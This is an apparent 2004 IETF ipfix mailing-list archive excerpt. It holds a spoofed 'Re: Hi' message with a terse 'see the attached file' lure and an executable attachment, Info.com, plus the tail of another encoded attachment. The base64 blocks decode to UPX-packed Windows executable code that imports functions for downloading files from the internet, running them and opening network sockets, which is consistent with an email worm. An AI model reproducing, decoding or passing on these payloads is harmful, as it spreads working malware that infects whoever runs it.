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
AAABAAEAAAA4AACAAAAAAAAAAAAAAAAAAAABAAAAAABQAAAApDABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQABAAAAeAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJAzAQAUAAAA
AAAAAAAAAACgAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A
//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEREREAAA
AAAAAAAAAAAJERERkRRAAAAAAAAAkRHQEREZmZkUEAAAAAAAkRGREBEZGZmZEZEAAAAAARER
2dCRGZmZmZmZAAAAAAkRnZ2QEZmZmZmZmQAAAACREdnZ0BmZmZmd2ZkAAAAAkZmZnZAZmZmZ
39mZAAAAAJGZmZnQGZmZnf/ZmQAAAACRGZmdkJmZmd/dmZkAAAAAGZmZmdkJmZmdmZmZAAAA
ABGZmZ3dDZmZmZmdkBEAAAAJmZnf/ZAJ2dnZ2QAREAAAAJmZndmQAA2dkADRERkAAAAAmZmQ
AAAAAACRkZ0dAAAAAAAAAgAAACHR2dnZ2dAAAAAAAAIAAAIBHZmZmZmQAAoAAAACAAIgERmZ
mZ2ZkAACqgAAAgAgIACZmZnf2ZAACioAAAIAAgACmZnd3ZmQAAKqAAACACACApmd//2ZAAAC
KqAAAgIgAAKZmd3ZkAAAAiqgAAICACAACZmZkAAAAAAioAAAIAIAAAAAAAAAAAAAKioABAAg
AAAAAAAAAAAAAAKiAABACgAAAAAAAAAAAAAAKiAEAqKioAAAAAAAAAAAAACgACoqKiAAAAAA
AAAAAAAAAAAAAAKqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////gH///gAf/wQAD/wAAA/
4AAAH8AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAA+AAAAHwAAAA+ACAAHwB4AB3A+AAM/P
AADDzgAAwcxAAMHMwADByYABwMmAA8DDMAfgRHgf4ED///AAH//wAA//+CAP//4gB////4P/
iAMBAAAAAQABACAgEAABAAQA6AIAAAEAAAAAAAAAAAAAAAAA2DQBAIA0AQAAAAAAAAAAAAAA
AADlNAEAkDQBAAAAAAAAAAAAAAAAAPI0AQCYNAEAAAAAAAAAAAAAAAAA/DQBAKA0AQAAAAAA
AAAAAAAAAAAGNQEAqDQBAAAAAAAAAAAAAAAAABI1AQCwNAEAAAAAAAAAAAAAAAAAHjUBALg0
AQAAAAAAAAAAAAAAAAApNQEAwDQBAAAAAAAAAAAAAAAAADQ1AQDINAEAAAAAAAAAAAAAAAAA
QDUBANA0AQAAAAAAAAAAAAAAAAAAAAAAAAAAAEw1AQBaNQEAajUBAAAAAAB4NQEAAAAAAIY1
AQAAAAAAkDUBAAAAAACeNQEAAAAAAK41AQAAAAAAuDUBAAAAAADMNQEAAAAAANg1AQAAAAAA
6DUBAAAAAABLRVJORUwzMi5ETEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwA
U0hFTEwzMi5kbGwAc2hsd2FwaS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQu
ZGxsAHdzb2NrMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhl
Y3V0ZUEAAABTdHJEdXBBAAAAVVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRl
cm5ldE9wZW5BAAAAYmluZAAAAAAAAAAAAAAAAAAAAAAAAAItgn24MIKCiwwWjgx8LmovLaas
jXYDk8atfCG3rsMCkA+GwTh+PVpNhBSVtWNgNscRS3V5DlwQxwbGupMXXQ2YsRxIU1Qiep48
pEVpgYlaTUSVOrUmFQWYRoC5xFozvXC5TzN4ESwQDze9pAqHD4wJTKMFd7cPX3GwiHpUfCUt
Nxtvx4GIsqSVwGYjgyY5DmmIUGwqMHafd5mHgK4WIqFUkYEyCQ8QEAmuQLoYi3E5KgFqWQsh
Q3e+xb4zdZ5Rgy6dp3SXkGWtnUwuOwqZkQPHGbdHwHUkMYGcxle3HntKIUmfc2aGfI0Lm5xZ
aH5niz5/HlRfuMI9XbJUV3xzS5+tr1Qoc7knaYZOS2OlqgBzFyIUB35ARJ9oshWgX21IjS9v
uUKXLmCbR7Qfe8AFsMZXGwOPbFnAPLy5kzl5nB2XZps8gcWRrDacG02fs8MyJ0yaiKwUeUQ4
ZpyMlDWoFK4KaDrDG0UjgTKBSIxxAWNtQBYzOyWPBg91Xn97ScFkJwtrk1dai6+MMQ+GMW8b
whhNmRdnUZ9oJUBOoyuyDBRTWRxDRE9jfntFSLS2BxeNk8W3JLh8j0itdRe+xap3hRWntTe2
kKQQKAavjamBRklDuIiTvaFwgqqMo3sKfqySDaABgRdUQp+9sxh6xBsYOgExgElbDxYtblil
wo9amGuRYWg5Yr+qHABBRaYmXSZpfjskNT9UMB9kmRNZF7EFEJanHGGLSCdehqoiQx+XLVwW
iZuXNGUxMS8BPkqwL4GxmWoCvUA+UqEURaOwHDwgvSmUR8LEQzPHQD6VnA9fLEQgvbYzXWqS
vApiiwF/kcV6ghEDxAY9gTdfintYdpMhGbV7wzUfPbUmrSebOWCLKYSiOMFrXbUwIiIZk5Gw
FlIEmS1LZ343SnhdGQO5UU4Fu15SNioUxx2yFCprjaWgAFGUO41aJEY4PDs6RitgqKkOW7is
BiudczixKKURPlWeUKRydwxsWxJgdHpcHGlKAYEluF4WR7ikHylbaY8wjjpOM1KmBJ8aIrml
fSaSS2w1RJsUia5GNsAPBLQzTaEdKx5UAlYUH5IQB7aAEFWBcwxVElODl68CbiONE1xTpbJp
caRQfG+1nlBJi3DEFpGvYU5GR3ICn7BfFFRgYaW7EJlWV42WYZZpPCuvfUVgvBtqI3s3jsN/
Y0eYW7IIQkwfiVwSxw3AughGEno2L66RCkK+mwI9t8Ekr7UMvwELtKUSlhCbMJZ/DElNIj1g
SjyQObRpA8NakGSvTDQEG2skvmh+dwwZJWlAtCs=

----------cjiwvwsfjzwxntpoolqn--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sat Aug 21 18:23:34 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08927
	for <ipfix-archive@lists.ietf.org>; Sat, 21 Aug 2004 18:23:33 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bydnq-0002Po-00
	for ipfix-list@mil.doit.wisc.edu; Sat, 21 Aug 2004 16:53:34 -0500
Received: from p16.pub.ro ([141.85.0.67] helo=julian.net)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1Bydno-0002ON-00
	for ipfix@net.doit.wisc.edu; Sat, 21 Aug 2004 16:53:32 -0500
Date: Sun, 22 Aug 2004 00:53:28 +0200
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] Re: Hi
From: plonka@doit.wisc.edu
Message-ID: <gakxvxlbjswflnajbzn@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------kjuhlbuqrfsfgygpbosz"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------kjuhlbuqrfsfgygpbosz
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
See the attached file  for details.<br><br>

<br>
</body></html>

----------kjuhlbuqrfsfgygpbosz
Content-Type: application/octet-stream; name="Info.com"
Content-Disposition: attachment; filename="Info.com"
Content-Transfer-Encoding: base64

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
